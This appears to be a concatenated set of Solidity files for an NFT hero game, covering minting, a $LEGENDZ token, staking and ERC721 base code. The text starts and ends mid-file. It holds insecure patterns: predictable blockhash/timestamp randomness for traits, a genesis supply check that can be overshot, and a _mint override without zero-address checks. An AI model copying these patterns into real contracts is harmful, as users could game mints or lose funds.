import "./ERC721Enumerable.sol";
import "./LEGENDZ.sol";
error NonExistentToken();
error LevelMax();
error TooMuchTokensPerTx();
error NotEnoughTokens();
error NotEnoughGiveaways();
error SaleNotStarted();
error NotEnoughEther();
error NotEnoughLegendz();
contract NullHeroes is ERC721Enumerable, Ownable, Pausable {
// hero struct
struct Hero {
uint8 level;
uint8 class;
uint8 race;
uint8 force;
uint8 intelligence;
uint8 agility;
}
// max heroes
uint256 public constant MAX_TOKENS = 40000;
// genesis heroes (25% of max heroes)
uint256 public constant MAX_GENESIS_TOKENS = 10000;
// giveaways (5% of genesis heroes)
uint256 public constant MAX_GENESIS_TOKENS_GIVEAWAYS = 500;
// max per tx
uint256 public constant MAX_TOKENS_PER_TX = 10;
uint256 public MINT_GENESIS_PRICE = .06942 ether;
uint256 public MINT_PRICE = 70000;
// giveaways counter
uint256 public giveawayGenesisTokens;
// $LEGENDZ token contract
LEGENDZ private legendz;
// pre-generated list of traits distributed by weight
uint8[][3] private traits;
// mapping from tokenId to a struct containing the token's traits
mapping(uint256 => Hero) public heroes;
// mapping from proxy address to authorization
mapping(address => bool) private proxies;
address private proxyRegistryAddress;
address private accountingAddress;
string private baseURI;
constructor(
string memory _baseURI,
address _proxyRegistryAddress,
address _accountingAddress,
address _legendz
)
ERC721("NullHeroes","NULLHEROES")
{
baseURI = _baseURI;
proxyRegistryAddress = _proxyRegistryAddress;
accountingAddress = _accountingAddress;
legendz = LEGENDZ(_legendz);
// classes - warrior: 0 | rogue: 1 | wizard: 2 | cultist: 3 | mercenary: 4 | ranger: 5
traits[0] = [1, 5, 3, 2, 4, 0];
// races - human: 0 | orc: 1 | elf: 2 | undead: 3 | ape: 4 | human: 5
traits[1] = [5, 0, 1, 3, 5, 0, 1, 4, 1, 5, 2, 0, 3, 0, 1, 5];
// base attribute points - 1 to 6
traits[2] = [1, 2, 3, 2, 2, 5, 1, 3, 2, 4, 1, 1, 2, 2, 3, 2, 5, 3, 6, 2, 2, 4, 3, 1, 3, 1, 4, 1, 1, 2, 1, 4, 2, 1, 3, 1, 2, 1, 2, 1, 1];
}
/**
* mints genesis heroes for the sender
* @param amount the amount of heroes to mint
*/
function enrollGenesisHeroes(uint256 amount) external payable whenNotPaused {
uint256 totalSupply = _owners.length;
if (totalSupply >= MAX_GENESIS_TOKENS) revert NotEnoughTokens();
if (amount > MAX_TOKENS_PER_TX) revert TooMuchTokensPerTx();
if (msg.value < MINT_GENESIS_PRICE * amount) revert NotEnoughEther();
uint256 seed = _random(totalSupply);
for (uint i; i < amount; i++) {
heroes[i + totalSupply] = _generate(seed >> i, true);
_mint(_msgSender(), i + totalSupply);
}
}
/**
* mints heroes for the sender
* @param amount the amount of heroes to mint
*/
function enrollHeroes(uint256 amount) external whenNotPaused {
uint256 totalSupply = _owners.length;
if (totalSupply < MAX_GENESIS_TOKENS) revert SaleNotStarted();
if (totalSupply + amount > MAX_TOKENS) revert NotEnoughTokens();
if (amount > MAX_TOKENS_PER_TX) revert TooMuchTokensPerTx();
// check $LEGENDZ balance
uint balance = legendz.balanceOf(_msgSender());
uint cost = MINT_PRICE * amount;
if (cost > balance) revert NotEnoughLegendz();
// burn $LEGENDZ
legendz.burn(_msgSender(), cost);
uint256 seed = _random(totalSupply);
for (uint i; i < amount; i++) {
heroes[i + totalSupply] = _generate(seed >> i, false);
_mint(_msgSender(), i + totalSupply);
}
}
/**
* mints free genesis heroes for a community member
* @param amount the amount of genesis heroes to mint
* @param recipient address of the recipient
*/
function enrollGenesisHeroesForGiveaway(address recipient, uint256 amount) external onlyOwner whenNotPaused {
uint256 totalSupply = _owners.length;
if (totalSupply >= MAX_GENESIS_TOKENS) revert NotEnoughTokens();
if (amount > MAX_TOKENS_PER_TX) revert TooMuchTokensPerTx();
if (giveawayGenesisTokens + amount > MAX_GENESIS_TOKENS_GIVEAWAYS) revert NotEnoughGiveaways();
giveawayGenesisTokens += amount;
uint256 seed = _random(totalSupply);
for (uint i; i < amount; i++) {
heroes[i + totalSupply] = _generate(seed >> i, true);
_mint(recipient, i + totalSupply);
}
}
/**
* generates a hero
* @param seed a seed
* @param isGenesis genesis flag
*/
function _generate(uint256 seed, bool isGenesis) private view returns (Hero memory h) {
h.level = 1;
h.class = _selectTrait(uint16(seed), 0);
seed >>= 16;
h.race = _selectTrait(uint16(seed), 1);
seed >>= 16;
h.force = _selectTrait(uint16(seed), 2);
seed >>= 16;
h.intelligence = _selectTrait(uint16(seed), 2);
seed >>= 16;
h.agility = _selectTrait(uint16(seed), 2);
// add race modifiers
if (h.race == 0 || h.race == 5) { // human
h.force += 2;
h.intelligence += 2;
h.agility += 2;
} else if (h.race == 1) { // orc
h.force += 4;
h.agility += 2;
} else if (h.race == 3) { // undead
h.force += 7;
h.intelligence += 3;
} else if (h.race == 2) { // elf
h.force += 3;
h.intelligence += 7;
h.agility += 7;
} else if (h.race == 4) { // ape
h.force += 9;
h.intelligence -= 1;
h.agility += 9;
}
// add class modifiers
if (h.class == 0) { // warrior
h.force += 9;
} else if (h.class == 1) { // rogue
h.force += 3;
h.agility += 7;
} else if (h.class == 2) { // wizard
h.agility += 4;
h.force += 1;
h.intelligence += 6;
} else if (h.class == 3) { // cultist
h.intelligence += 9;
} else if (h.class == 4) { // mercenary
h.force += 4;
h.intelligence += 4;
h.agility += 4;
} else if (h.class == 5) { // ranger
h.intelligence += 3;
h.agility += 7;
}
// add genesis modifier
if (isGenesis) {
h.force += 1;
h.agility += 1;
h.intelligence += 1;
}
}
/**
* selects a random trait
* @param seed portion of the 256 bit seed
* @param traitType the trait type
* @return the index of the randomly selected trait
*/
function _selectTrait(uint256 seed, uint256 traitType) private view returns (uint8) {
if (seed < traits[traitType].length)
return traits[traitType][seed];
return traits[traitType][seed % traits[traitType].length];
}
/**
* generates a pseudorandom number
* @param seed a value ensure different outcomes for different sources in the same block
* @return a pseudorandom value
*/
function _random(uint256 seed) private view returns (uint256) {
return uint256(keccak256(abi.encodePacked(
tx.origin,
blockhash(block.number - 1),
block.timestamp,
seed
)));
}
function _mint(address to, uint256 tokenId) internal virtual override {
_owners.push(to);
emit Transfer(address(0), to, tokenId);
}
/**
* transfers an array of tokens
* @param _from the current owner
* @param _to the new owner
* @param _tokenIds the array of token ids
*/
function batchTransferFrom(address _from, address _to, uint256[] calldata _tokenIds) public {
for (uint i; i < _tokenIds.length; i++) {
transferFrom(_from, _to, _tokenIds[i]);
}
}
/**
* transfers an array of tokens
* @param _from the current owner
* @param _to the new owner
* @param _tokenIds the ids of the tokens
* @param _data the transfer data
*/
function batchSafeTransferFrom(address _from, address _to, uint256[] calldata _tokenIds, bytes memory _data) public {
for (uint i; i < _tokenIds.length; i++) {
safeTransferFrom(_from, _to, _tokenIds[i], _data);
}
}
/**
* level up a hero
* @param tokenId the id of the token
* @param attribute the attribute to update - force: 0 | intelligence: 1 | agility: 2
*/
function levelUp(uint256 tokenId, uint8 attribute) external {
if (!proxies[_msgSender()]) revert OnlyAuthorizedOperators();
if (!_exists(tokenId)) revert NonExistentToken();
if (heroes[tokenId].level > 99) revert LevelMax();
heroes[tokenId].level += 1;
if (attribute == 0)
heroes[tokenId].force += 1;
else if (attribute == 1)
heroes[tokenId].intelligence += 1;
else if (attribute == 2)
heroes[tokenId].agility += 1;
}
/**
* gets a hero token
* @param tokenId the id of the token
* @return a hero struct
*/
function getHero(uint256 tokenId) public view returns (Hero memory) {
if (!_exists(tokenId)) revert NonExistentToken();
return heroes[tokenId];
}
/**
* gets the tokens of an owner
* @param owner owner's address
* @return an array of the corresponding owner's token ids
*/
function tokensOfOwner(address owner) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(owner);
if (tokenCount == 0) return new uint256[](0);
uint256[] memory tokensIds = new uint256[](tokenCount);
for (uint i; i < tokenCount; i++) {
tokensIds[i] = tokenOfOwnerByIndex(owner, i);
}
return tokensIds;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
if (!_exists(tokenId)) revert NonExistentToken();
return string(abi.encodePacked(baseURI, Strings.toString(tokenId)));
}
function contractURI() public view returns (string memory) {
return baseURI;
}
/**
* updates base URI
* @param _baseURI the new base URI
*/
function setBaseURI(string memory _baseURI) external onlyOwner {
baseURI = _baseURI;
}
/**
* updates proxy registry address
* @param _proxyRegistryAddress proxy registry address
*/
function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner {
proxyRegistryAddress = _proxyRegistryAddress;
}
/**
* sets a proxy's authorization
* @param proxyAddress address of the proxy
* @param authorized the new authorization value
*/
function setProxy(address proxyAddress, bool authorized) external onlyOwner {
proxies[proxyAddress] = authorized;
}
/**
* burns a token
* @param tokenId the id of the token
*/
function burn(uint256 tokenId) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "not approved to burn");
_burn(tokenId);
}
/**
* withdraws from contract's balance
*/
function withdraw() public onlyOwner {
(bool success, ) = accountingAddress.call{value: address(this).balance}("");
require(success, "failed to send balance");
}
/**
* enables the contract's owner to pause / unpause minting
* @param paused the new pause flag
*/
function setPaused(bool paused) external onlyOwner {
if (paused) _pause();
else _unpause();
}
/**
* updates the genesis mint price
* @param price new price
*/
function updateGenesisMintPrice(uint256 price) external onlyOwner {
MINT_GENESIS_PRICE = price;
}
/**
* updates the mint price
* @param price new price
*/
function updateMintPrice(uint256 price) external onlyOwner {
MINT_PRICE = price;
}
/**
* overrides approvals to avoid opensea and operator contracts to generate approval gas fees
* @param _owner the current owner
* @param _operator the operator
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool) {
OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator || proxies[_operator]) return true;
return super.isApprovedForAll(_owner, _operator);
}
}
contract OwnableDelegateProxy { }
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
error OnlyAuthorizedOperators();
error OwnerAuthorizationLocked();
contract LEGENDZ is ERC20, Ownable {
// mapping from address to whether or not it can mint / burn
mapping(address => bool) proxies;
constructor() ERC20("Legendz", "$LEGENDZ") {
proxies[_msgSender()] = true;
}
/**
* mints $LEGENDZ to a recipient
* @param to the recipient of the $LEGENDZ
* @param amount the amount of $LEGENDZ to mint
*/
function mint(address to, uint256 amount) external {
if (!proxies[_msgSender()]) revert OnlyAuthorizedOperators();
_mint(to, amount);
}
/**
* burns $LEGENDZ of a holder
* @param from the holder of the $LEGENDZ
* @param amount the amount of $LEGENDZ to burn
*/
function burn(address from, uint256 amount) external {
if (!proxies[_msgSender()]) revert OnlyAuthorizedOperators();
_burn(from, amount);
}
/**
* sets a proxy's authorization
* @param proxyAddress address of the proxy
* @param authorized the new authorization value
*/
function setProxy(address proxyAddress, bool authorized) public onlyOwner {
if (proxyAddress == owner()) revert OwnerAuthorizationLocked();
proxies[proxyAddress] = authorized;
}
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "./LEGENDZ.sol";
import "./NullHeroes.sol";
error CannotSendDirectly();
error ZeroAddress();
error NotOwnedToken();
error TooEarlyToClaim();
abstract contract HeroStakes is Ownable, IERC721Receiver, Pausable {
// Stake struct
struct Stake {
address owner;
uint256 lastClaim;
}
// max per transaction
uint8 public immutable maxTokensPerTx;
// stakes
Stake[40000] public stakes;
// $LEGENDZ contract
LEGENDZ internal legendz;
// NullHeroes contract
NullHeroes internal nullHeroes;
// lock-up period
uint256 public minDaysToClaim;
constructor(address _legendz, address _nullHeroes, uint8 _maxTokensPerTx) {
legendz = LEGENDZ(_legendz);
nullHeroes = NullHeroes(_nullHeroes);
maxTokensPerTx = _maxTokensPerTx + 1;
}
/**
* stakes some heroes
* @param _tokenIds an array of tokenIds to stake
*/
function stakeHeroes(uint256[] calldata _tokenIds) external virtual whenNotPaused {
if (_tokenIds.length > maxTokensPerTx) revert TooMuchTokensPerTx();
nullHeroes.batchTransferFrom(_msgSender(), address(this), _tokenIds);
for (uint i; i < _tokenIds.length; i++) {
Stake storage stake = stakes[_tokenIds[i]];
stake.owner = _msgSender();
stake.lastClaim = block.timestamp;
}
}
/**
* claims the reward of some heroes
* @param _tokenIds an array of tokenIds to claim reward from
*/
function claimReward(uint256[] calldata _tokenIds) external virtual whenNotPaused {
if (_tokenIds.length > maxTokensPerTx) revert TooMuchTokensPerTx();
uint256 reward;
for (uint i; i < _tokenIds.length; i++) {
Stake storage stake = stakes[_tokenIds[i]];
if (stake.owner != _msgSender()) revert NotOwnedToken();
if ((block.timestamp - stake.lastClaim) < minDaysToClaim) revert TooEarlyToClaim();
// resolves reward
reward += _resolveReward(_tokenIds[i]);
// reset last claim
stake.lastClaim = block.timestamp;
}
if (reward > 0)
legendz.mint(_msgSender(), reward);
}
/**
* claims some heroes reward and unstake
* @param _tokenIds an array of tokenIds to claim reward from
*/
function unstakeHeroes(uint256[] calldata _tokenIds) external virtual {
if (_tokenIds.length > maxTokensPerTx) revert TooMuchTokensPerTx();
uint256 reward;
for (uint i; i < _tokenIds.length; i++) {
Stake storage stake = stakes[_tokenIds[i]];
if (stake.owner != _msgSender()) revert NotOwnedToken();
if ((block.timestamp - stake.lastClaim) < minDaysToClaim) revert TooEarlyToClaim();
// resolves reward if not paused
if (!paused())
reward += _resolveReward(_tokenIds[i]);
delete stakes[_tokenIds[i]];
}
if (reward > 0)
legendz.mint(_msgSender(), reward);
nullHeroes.batchTransferFrom(address(this), _msgSender(), _tokenIds);
}
/**
* resolves a staked hero's total reward
* @param _tokenId the hero's tokenId
* return the total reward in $LEGENDZ
*/
function _resolveReward(uint256 _tokenId) internal virtual returns (uint256);
/**
* estimates a staked hero's total reward
* @param _tokenId the hero's tokenId
* return the estimated total reward in $LEGENDZ
*/
function estimateReward(uint256 _tokenId) public view virtual returns (uint256);
/**
* estimates an unknown hero's approximative daily reward
* @return the estimated reward
*/
function estimateDailyReward() public view virtual returns (uint256);
/**
* estimates a hero's daily reward
* @return the reward
*/
function estimateDailyReward(uint256 _tokenId) public view virtual returns (uint256);
/**
* calculates a base reward out of the last claim timestamp and a daily rate
* @param _dailyReward the legendz rate per day
* @param _lastClaim the amount of days of farming
* @return the total reward in $LEGENDZ
*/
function _calculateBaseReward(uint256 _lastClaim, uint256 _dailyReward) internal view returns (uint256) {
return (block.timestamp - _lastClaim) * _dailyReward / 1 days;
}
function tokensOfOwner(address _owner) public view returns (uint256[] memory) {
uint256 tokenCount = _balanceOf(_owner);
if (tokenCount == 0) return new uint256[](0);
uint256[] memory tokenIds = new uint256[](tokenCount);
uint256 index;
for (uint i; i < stakes.length; i++) {
if (stakes[i].owner == _owner){
tokenIds[index++] = i;
if (index == tokenCount)
return tokenIds;
}
}
revert("HeroStakes: missing tokens");
}
/**
* counts the number of tokens staked by an owner
* @param _owner the owner
* return the token count
*/
function _balanceOf(address _owner) internal view returns (uint)
{
if(_owner == address(0)) revert ZeroAddress();
uint count;
for (uint i; i < stakes.length; ++i) {
if( _owner == stakes[i].owner )
++count;
}
return count;
}
/**
* enables owner to pause / unpause staking
* @param _paused the new contract paused state
*/
function setPaused(bool _paused) external onlyOwner {
if (_paused) _pause();
else _unpause();
}
function onERC721Received(
address,
address from,
uint256,
bytes calldata
) external pure override returns (bytes4) {
if(from != address(0x0)) revert CannotSendDirectly();
return IERC721Receiver.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "./ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account but rips out the core of the gas-wasting processing that comes from OpenZeppelin.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _owners.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < _owners.length, "ERC721Enumerable: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
uint count;
for (uint i; i < _owners.length; i++) {
if (owner == _owners[i]) {
if(count == index) return i;
else count++;
}
}
revert("ERC721Enumerable: owner index out of bounds");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "./Address.sol";
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
// Mapping from token ID to owner address
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint)
{
require(owner != address(0), "ERC721: balance query for the zero address");
uint count;
for (uint i; i < _owners.length; ++i) {
if( owner == _owners[i] )
++count;
}
return count;
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < _owners.length && _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_owners.push(to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_owners[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
library Address {
function isContract(address account) internal view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
